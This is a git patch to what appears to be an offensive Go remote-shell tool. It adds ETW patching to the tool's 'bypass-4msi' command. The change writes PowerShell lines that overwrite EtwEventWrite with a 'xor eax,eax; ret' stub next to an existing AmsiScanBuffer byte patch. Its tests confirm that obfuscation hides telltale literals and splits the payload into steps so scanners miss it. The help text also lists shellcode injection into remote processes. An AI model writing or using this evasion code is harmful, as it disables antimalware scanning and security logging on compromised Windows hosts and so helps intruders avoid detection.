From 81630165c310ccf29eb8d801d0248835385c43fa Mon Sep 17 00:00:00 2001 From: SREsAreHumanToo <88474954+sresarehumantoo@users.noreply.github.com> Date: Sat, 21 Nov 2026 11:07:01 -0500 Subject: [PATCH] Add ETW patching to bypass-4msi Patches EtwEventWrite with a xor eax,eax; ret stub alongside the existing AmsiScanBuffer patch, using the same VirtualProtect delegate. Ported from bypass-clm's C# implementation. --- internal/shell/assets/bypass-4msi.ps1.tmpl | 6 +++++ internal/shell/bypass4msi.go | 10 ++++---- internal/shell/bypass4msi_test.go | 29 ++++++++++++++-------- internal/shell/shell.go | 2 +- 4 files changed, 31 insertions(+), 16 deletions(-) diff --git a/internal/shell/assets/bypass-4msi.ps1.tmpl b/internal/shell/assets/bypass-4msi.ps1.tmpl index 2bf789c..9d2362a 100644 --- a/internal/shell/assets/bypass-4msi.ps1.tmpl +++ b/internal/shell/assets/bypass-4msi.ps1.tmpl @@ -64,6 +64,12 @@ function >>>< { #jump >>>< = [System.Runtime.InteropServices.Marshal]::Copy(>>><, 0, >>><, 12) #jump +[IntPtr]>>>< = >>>< $(""+<><+"") $(""+<><+"") +>>>< = 0 +>>>< = >>><.Invoke(>>><, 3, 0x40, [ref]>>><) +>>>< = [Byte[]] (0x31,0xc0,0xc3) +>>>< = [System.Runtime.InteropServices.Marshal]::Copy(>>><, 0, >>><, 3) +#jump Remove-Item Function:>>>< #jump Remove-Item Function:>>>< \ No newline at end of file diff --git a/internal/shell/bypass4msi.go b/internal/shell/bypass4msi.go index 775df5b..7e5697e 100644 --- a/internal/shell/bypass4msi.go +++ b/internal/shell/bypass4msi.go @@ -43,8 +43,8 @@ import ( var bypass4MSITemplate string // bypassVarCount is how many >>>< placeholders the template carries. -// Upstream's has 12; VAR13 belongs to this port's compatibility fix, below. -const bypassVarCount = 13 +// Upstream's has 12; VAR13 is this port's HandleRef fix, VAR14-16 are the ETW patch. +const bypassVarCount = 16 // bypassStepPause matches upstream's 2s wait between steps. The payload is split // into ten fragments that are run as separate commands, and the pause is part of @@ -63,7 +63,7 @@ const jumpMarker = "#jump" func (sh *Shell) bypass4MSI(ctx context.Context, sigs <-chan os.Signal) error { if sh.amsiPatched { if !sh.json && !sh.quiet { - fmt.Fprintf(sh.out, "%s AMSI is already patched in this runspace\n", sh.c.Blue("Info:")) + fmt.Fprintf(sh.out, "%s AMSI and ETW are already patched in this runspace\n", sh.c.Blue("Info:")) } return nil } @@ -115,9 +115,9 @@ func (sh *Shell) bypass4MSI(ctx context.Context, sigs <-chan os.Signal) error { } sh.amsiPatched = true - sh.log.Event("[bypass-4msi] AmsiScanBuffer patched") + sh.log.Event("[bypass-4msi] AmsiScanBuffer + EtwEventWrite patched") if !sh.json && !sh.quiet { - fmt.Fprintf(sh.out, "%s AMSI patched in this runspace\n", sh.c.Blue("Info:")) + fmt.Fprintf(sh.out, "%s AMSI and ETW patched in this runspace\n", sh.c.Blue("Info:")) } return nil } diff --git a/internal/shell/bypass4msi_test.go b/internal/shell/bypass4msi_test.go index 993b1a0..0ba53af 100644 --- a/internal/shell/bypass4msi_test.go +++ b/internal/shell/bypass4msi_test.go @@ -17,7 +17,7 @@ func obf(seed int64) string { func TestObfuscationLeavesNoTelltaleLiterals(t *testing.T) { for seed := int64(1); seed <= 20; seed++ { got := obf(seed) - for _, lit := range []string{"amsi.dll", "AmsiScanBuffer", "kernel32.dll", "System.dll"} { + for _, lit := range []string{"amsi.dll", "AmsiScanBuffer", "kernel32.dll", "System.dll", "ntdll", "EtwEventWrite"} { if strings.Contains(got, lit) { t.Errorf("seed %d: script still contains the literal %q", seed, lit) } @@ -86,7 +86,7 @@ func decodeCharExpr(t *testing.T, expr string) string { func TestCharExpressionRoundTrips(t *testing.T) { r := rand.New(rand.NewSource(3)) - for _, s := range []string{"amsi.dll", "AmsiScanBuffer", "kernel32.dll", `\`, "System.dll", "MyDelegateType"} { + for _, s := range []string{"amsi.dll", "AmsiScanBuffer", "kernel32.dll", `\`, "System.dll", "MyDelegateType", "ntdll", "EtwEventWrite"} { for i := 0; i < 40; i++ { // many draws: the encoding picks a form at random expr := charExpression(s, r) if got := decodeCharExpr(t, expr); got != s { @@ -111,12 +111,21 @@ func TestCharExpressionHandlesHighBytes(t *testing.T) { // The payload's own bytes must survive verbatim: this is the stub written over // AmsiScanBuffer's prologue, and a corrupted one would be executed. func TestPatchBytesAreUnchanged(t *testing.T) { - const patch = "0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3" - if !strings.Contains(bypass4MSITemplate, patch) { - t.Fatal("the template no longer carries upstream's patch bytes") - } - if !strings.Contains(obf(5), patch) { - t.Error("obfuscation altered the patch bytes") + for _, tc := range []struct { + name string + patch string + }{ + {"AMSI", "0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3"}, + {"ETW", "0x31,0xc0,0xc3"}, + } { + t.Run(tc.name, func(t *testing.T) { + if !strings.Contains(bypass4MSITemplate, tc.patch) { + t.Fatalf("the template no longer carries %s patch bytes", tc.name) + } + if !strings.Contains(obf(5), tc.patch) { + t.Errorf("obfuscation altered the %s patch bytes", tc.name) + } + }) } } @@ -124,8 +133,8 @@ func TestPatchBytesAreUnchanged(t *testing.T) { // would put the whole patch in a single scanned block. func TestTemplateSplitsIntoSteps(t *testing.T) { steps := strings.Split(obf(9), jumpMarker) - if len(steps) != 10 { - t.Errorf("got %d steps, want 10 (upstream's split)", len(steps)) + if len(steps) != 11 { + t.Errorf("got %d steps, want 11 (upstream's split + ETW patch)", len(steps)) } for i, s := range steps { if strings.TrimSpace(s) == "" { diff --git a/internal/shell/shell.go b/internal/shell/shell.go index 55a9ef0..65413f6 100644 --- a/internal/shell/shell.go +++ b/internal/shell/shell.go @@ -774,7 +774,7 @@ Working now: a bare name resolves against -e/--executables) donut-loader -process_id -donutfile inject local donut shellcode into a remote process (x64 only) - bypass-4msi patch AmsiScanBuffer in this runspace (noisy; do it last) + bypass-4msi patch AmsiScanBuffer + EtwEventWrite (noisy; do it last) .ps1 load that script from the -s directory into the session menu list the functions loaded from your scripts services list non-system services, paths, and your access (privesc recon)